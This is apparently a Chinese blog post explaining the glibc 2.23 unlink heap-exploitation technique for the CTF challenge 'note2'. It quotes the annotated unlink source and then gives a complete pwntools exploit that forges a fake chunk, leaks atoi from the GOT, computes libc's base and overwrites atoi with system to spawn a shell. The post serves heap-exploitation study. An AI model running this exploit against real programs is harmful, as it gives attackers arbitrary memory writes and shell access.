unlink主要就是伪造一个fake chunk,来利用unlink的取堆块的操作来进行任意地址写。
glibc2.23版本的unlink的源代码为:
#define unlink(AV, P, BK, FD) {
/* ── ① 取指针 ───────────────────────────── */
FD = P->fd; /* FD = P 的前驱 */
BK = P->bk; /* BK = P 的后继 */
/* ── ② 链完整性检查 ─────────────────────── */
/* 条件: P 必须被前后节点同时"记得" */
if (FD->bk != P || BK->fd != P)
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
else
{
/* ── ③ 摘除 fd/bk 链 ─────────────────── */
FD->bk = BK; /* 前驱 → 指向后继 */
BK->fd = FD; /* 后继 → 指向前驱 */
/* ── ④ largebin 专属:跳表维护 ────────── */
/* 进入条件: 大 chunk 且 P 是 size 组代表 */
if (!in_smallbin_range(P->size) && P->fd_nextsize != NULL)
{
/* ── ⑤ 跳表一致性检查 ─────────────── */
/* 条件: P 在跳表中的前后节点也记得 P */
if (P->fd_nextsize->bk_nextsize != P
|| P->bk_nextsize->fd_nextsize != P)
malloc_printerr(check_action,
"corrupted double-linked list (not small)",
P, AV);
/* ── ⑥ 按 FD 是否在跳表上分路 ─────── */
if (FD->fd_nextsize == NULL) /* ⑥-a FD 不在跳表 */
{
if (P->fd_nextsize == P) /* ⑦ 跳表只有 P */
FD->fd_nextsize = FD->bk_nextsize = FD; /* ⑦-a 自指 */
else
{ /* ⑦-b 换代表: FD 顶替 P */
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else /* ⑥-b FD 在跳表 */
{ /* ⑧ 前后代表直接相连 */
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
对应的EXP为
# coding=UTF-8
from pwn import *
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def newnote(length, content):
p.recvuntil(b'option--->>')
p.sendline(b'1')
p.recvuntil(b'(less than 128)')
p.sendline(str(length))
p.recvuntil(b'content:')
p.sendline(content)
def shownote(id):
p.recvuntil(b'option--->>')
p.sendline(b'2')
p.recvuntil(b'note:')
p.sendline(bytes(id))
def editnote(id, choice, s):
p.recvuntil(b'option--->>')
p.sendline(b'3')
p.recvuntil(b'note:')
p.sendline(str(id))
p.recvuntil(b'2.append]')
p.sendline(str(choice))
p.sendline(s)
def deletenote(id):
p.recvuntil(b'option--->>')
p.sendline(b'4')
p.recvuntil(b'note:')
p.sendline(str(id))
p.recvuntil(b'name:')
p.sendline(b'hello')
p.recvuntil(b'address:')
p.sendline(b'hello')
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = b'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + b'b' * 64 + p64(0x60)
newnote(128, content)
newnote(0, b'a' * 8)
newnote(0x80, b'b' * 16)
deletenote(1)
content = b'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
deletenote(2)
atoi_got = note2.got['atoi']
content = b'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
shownote(0)
p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print(atoi_addr)
atoi_addr = u64(atoi_addr.ljust(8, b'\x00'))
print('leak atoi addr: ' + hex(atoi_addr))
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest
print('leak system addr: ', hex(system_addr))
content = p64(system_addr)
editnote(0, 1, content)
p.recvuntil(b'option--->>')
p.sendline(b'/bin/sh')
p.interactive()
评论(0)
暂无评论